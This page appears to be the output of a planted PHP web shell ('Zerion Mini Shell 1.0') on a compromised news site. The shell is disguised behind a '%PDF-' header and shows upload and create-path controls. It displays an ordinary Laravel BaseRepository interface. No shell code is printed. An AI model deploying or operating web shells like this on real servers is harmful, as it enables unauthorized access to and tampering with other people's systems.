%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/app/Repositories/Base/
Upload File :
Create Path :
Current File : /var/www/html/news/app/Repositories/Base/BaseRepository.php

<?php
namespace App\Repositories\Base;

use Czim\Repository\Contracts\BaseRepositoryInterface;
use Czim\Repository\Contracts\ExtendedRepositoryInterface;
use Czim\Repository\Contracts\HandlesEloquentRelationManipulationInterface;
use Czim\Repository\Contracts\HandlesEloquentSavingInterface;
use Czim\Repository\Contracts\PostProcessingRepositoryInterface;

interface BaseRepository extends BaseRepositoryInterface, ExtendedRepositoryInterface, PostProcessingRepositoryInterface, HandlesEloquentRelationManipulationInterface, HandlesEloquentSavingInterface
{

    /**
     * @param int $perPage
     * @param array $columns
     * @param string $pageName
     * @param null $page
     * @return mixed
     */
    public function paginate($perPage = 1, $columns = ['*'], $pageName = 'page', $page = null);

    public function generateUniqueString($columnName);

}

Zerion Mini Shell 1.0